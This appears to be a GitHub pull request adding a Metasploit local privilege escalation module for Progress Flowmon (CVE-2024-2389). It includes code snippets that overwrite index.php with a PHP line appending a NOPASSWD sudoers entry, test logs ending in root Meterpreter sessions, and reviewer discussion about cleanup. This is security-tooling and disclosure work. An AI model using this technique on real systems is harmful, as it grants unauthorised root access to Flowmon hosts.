-
Notifications
You must be signed in to change notification settings - Fork 14.1k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Add local privesc module for Flowmon #19151
Add local privesc module for Flowmon #19151
Conversation
Whoever grabs this should probably also grab #19150 |
) | ||
) | ||
register_options([ | ||
OptString.new('TEMP_PAYLOAD', [true, 'The temporary name to use to store the payload.', '/tmp/' + Rex::Text.rand_text_alpha(5..9) ]) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I think we generally use the pattern of specifiying a writable dir:
And generating the file name on each iteration:
modules/exploits/linux/local/progress_flowmon_sudo_privesc_2024.rb
Outdated
Show resolved
Hide resolved
print_status('Copying /var/www/shtml/index.php to /tmp/index.php.bak') | ||
cmd_exec('cp /var/www/shtml/index.php /tmp/index.php.bak') | ||
print_status('Overwriting /var/www/shtml/index.php with payload') | ||
cmd_exec('echo \'<?php system("echo \\"ADMINS ALL=(ALL) NOPASSWD: ALL\\" >> /etc/sudoers"); ?>\' > /var/www/shtml/index.php;') |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
is it possible to write to any location, or does it have to be index.php? 👀
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Should we inform the user that they should undo this change afterwards?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
is it possible to write to any location, or does it have to be index.php?
It does have to be index.php just because that is what is initially allowed in the sudoers file.
modules/exploits/linux/local/progress_flowmon_sudo_privesc_2024.rb
Outdated
Show resolved
Hide resolved
register_file_for_cleanup(datastore['TEMP_PAYLOAD']) | ||
|
||
print_status('Copying /var/www/shtml/index.php to /tmp/index.php.bak') | ||
cmd_exec('cp /var/www/shtml/index.php /tmp/index.php.bak') |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Is there the possibility of this temporary file copy failing half way through, and subsequent attempts permanently accidentally deleting the file?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I made a change here and opted to read the file and store it in a variable in ruby to avoid this copy operation. Afterwards the module overwrites the file with it's original contents.
Note i did try appending the one necessary line of php system("echo \\"ADMINS ALL=(ALL) NOPASSWD: ALL\\" >> /etc/sudoers")
to the end of the file and then using sed
to remove it later - however the call to sudo /usr/bin/php /var/www/shtml/index.php Cli\\:AddNewSource s;
fails if the original contents of index.php
exist in the file. So it does seem you have to overwrite the contents one way or another.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Thanks for the module @DaveYesland! I was able to test this on the latest version of Progress Flowmon 12.3.5. Just a couple comments.
Testing
msf6 exploit(linux/local/progress_flowmon_sudo_privesc_2024) > run
[-] Handler failed to bind to <redacted>:4444:- -
[*] Started reverse TCP handler on 0.0.0.0:4444
[!] SESSION may not be compatible with this module:
[!] * Unknown session arch
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated.
[!] Write partially succeeded then failed. May need to manually clean up /tmp/COqwjffZ
[*] Copying /var/www/shtml/index.php to /tmp/index.php.bak
[*] Overwriting /var/www/shtml/index.php with payload
[*] Executing sudo to elevate privileges
[*] Replacing index.php with original file
[+] Deleted /tmp/COqwjffZ
[*] Meterpreter session 2 opened (192.168.2.23:4444 -> 3.144.10.52:55208) at 2024-05-21 15:47:39 -0400
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : ip-172-31-12-58.us-east-2.compute.internal
OS : CentOS 7.9.2009 (Linux 3.10.0-1160.108.1.el7.flowmon.x86_64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
modules/exploits/linux/local/progress_flowmon_sudo_privesc_2024.rb
Outdated
Show resolved
Hide resolved
modules/exploits/linux/local/progress_flowmon_sudo_privesc_2024.rb
Outdated
Show resolved
Hide resolved
end | ||
|
||
def exploit | ||
if exists?(datastore['TEMP_PAYLOAD']) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
In order to avoid this situation, an ensure
block should be added to the end of the exploit method which call's the FileDropper
's cleanup
method.
modules/exploits/linux/local/progress_flowmon_sudo_privesc_2024.rb
Outdated
Show resolved
Hide resolved
modules/exploits/linux/local/progress_flowmon_sudo_privesc_2024.rb
Outdated
Show resolved
Hide resolved
documentation/modules/exploit/linux/local/progress_flowmon_sudo_privesc_2024.md
Outdated
Show resolved
Hide resolved
…4.rb Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
…4.rb Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
…4.rb Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com>
…4.rb Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
…o_privesc_2024.md Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
…4.rb Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com>
Hey @DaveYesland, thanks so much for making those changes! The Lint / Lint msftidy tests are failing - in the root directory of metasploit-framework if you run the following command it should fix the failing tests:
|
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Thanks for another great module @DaveYesland! I made a couple changes based on the comments left on the PR. I also noticed the /etc/sudoers
file wasn't getting cleaned up so i added a method to take care of that. Testing was as expected, I think this is almost ready to land 🚀
msf6 exploit(linux/local/progress_flowmon_sudo_privesc_2024) > rexploit
[*] Reloading module...
[*] Started reverse TCP handler on 192.168.2.23:5555
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Found 2 indicators this is a Progress Flowmon product
[!] The service is running, but could not be validated.
[*] Saving payload as /tmp/.fovaiiazfuhl
[*] Overwriting /var/www/shtml/index.php with payload
[*] Executing sudo to elevate privileges
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 192.168.2.26
[+] Deleted /tmp/.fovaiiazfuhl
[*] Cleaning up addition to /etc/sudoers
[*] Meterpreter session 9 opened (192.168.2.23:5555 -> 192.168.2.26:33408) at 2024-05-23 16:46:10 -0400
[*] Restoring /var/www/shtml/index.php file contents...
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : localhost.localdomain.localdomain
OS : CentOS 7.9.2009 (Linux 3.10.0-1160.102.1.el7.flowmon.x86_64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > bg
register_file_for_cleanup(datastore['TEMP_PAYLOAD']) | ||
|
||
print_status('Copying /var/www/shtml/index.php to /tmp/index.php.bak') | ||
cmd_exec('cp /var/www/shtml/index.php /tmp/index.php.bak') |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I made a change here and opted to read the file and store it in a variable in ruby to avoid this copy operation. Afterwards the module overwrites the file with it's original contents.
Note i did try appending the one necessary line of php system("echo \\"ADMINS ALL=(ALL) NOPASSWD: ALL\\" >> /etc/sudoers")
to the end of the file and then using sed
to remove it later - however the call to sudo /usr/bin/php /var/www/shtml/index.php Cli\\:AddNewSource s;
fails if the original contents of index.php
exist in the file. So it does seem you have to overwrite the contents one way or another.
print_status('Restoring /var/www/shtml/index.php file contents...') | ||
file_rm('/var/www/shtml/index.php') | ||
write_file('/var/www/shtml/index.php', index_php_contents) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Would it be better to move this cleanup code to the ensure block or directly to the #cleanup
method? I'm worried this code won't be executed if an exception occurs before reaching it.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Yup that makes sense, I've moved this to #cleanup
|
||
print_status('Restoring /var/www/shtml/index.php file contents...') | ||
file_rm('/var/www/shtml/index.php') | ||
write_file('/var/www/shtml/index.php', index_php_contents) | ||
ensure | ||
cleanup |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Is it necessary to call #cleanup
in an ensure block? I'm under the impression the Framework will do this already.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Thanks for double checking that commit @cdelafuente-r7. Retested and working as expected.
msf6 exploit(linux/local/progress_flowmon_sudo_privesc_2024) > rexploit
[*] Reloading module...
[*] Started reverse TCP handler on 192.168.50.78:5555
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated.
[*] Overwriting /var/www/shtml/index.php with payload
[*] Executing sudo to elevate privileges
[*] Sending stage (3045380 bytes) to 192.168.50.158
[+] Deleted /tmp/.ubmqjbtosxn
[*] Cleaning up addition to /etc/sudoers
[*] Meterpreter session 3 opened (192.168.50.78:5555 -> 192.168.50.158:54308) at 2024-05-29 08:37:33 -0400
[*] Restoring /var/www/shtml/index.php file contents...
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : localhost.localdomain.localdomain
OS : CentOS 7.9.2009 (Linux 3.10.0-1160.102.1.el7.flowmon.x86_64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
print_status('Restoring /var/www/shtml/index.php file contents...') | ||
file_rm('/var/www/shtml/index.php') | ||
write_file('/var/www/shtml/index.php', index_php_contents) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Yup that makes sense, I've moved this to #cleanup
80ee458
Release NotesPrivilege escalation module for Progress Flowmon unpatched feature |
This adds a local privesc exploit module which abuses the sudoers permissions for the Flowmon user to elevate to root.
Vulnerable Application
Progress Flowmon up to at least version 12.3.2 is vulnerable to local privilege escalation from the
flowmon
user toroot
. This is possible due to theflowmon user being able to run several commands with
sudo
. This module exploits the ability to overwrite aPHP file and execute it with
sudo
granting fullsudo
permissions to the
flowmon
user and elevating theshell to a root shell.
For more details on the vulnerability:
https://rhinosecuritylabs.com/research/cve-2024-2389-in-progress-flowmon/ (privesc methods)
https://support.kemptechnologies.com/hc/en-us/articles/24878235038733-CVE-2024-2389-Flowmon-critical-security-vulnerability
This application is available in cloud marketplaces:
Verification Steps
flowmon
useruse exploits/linux/local/pprogress_flowmon_sudo_privesc_2024
set SESSION <session>
set LHOST <your host IP>
run
root
user.Scenarios
Flowmon 12.2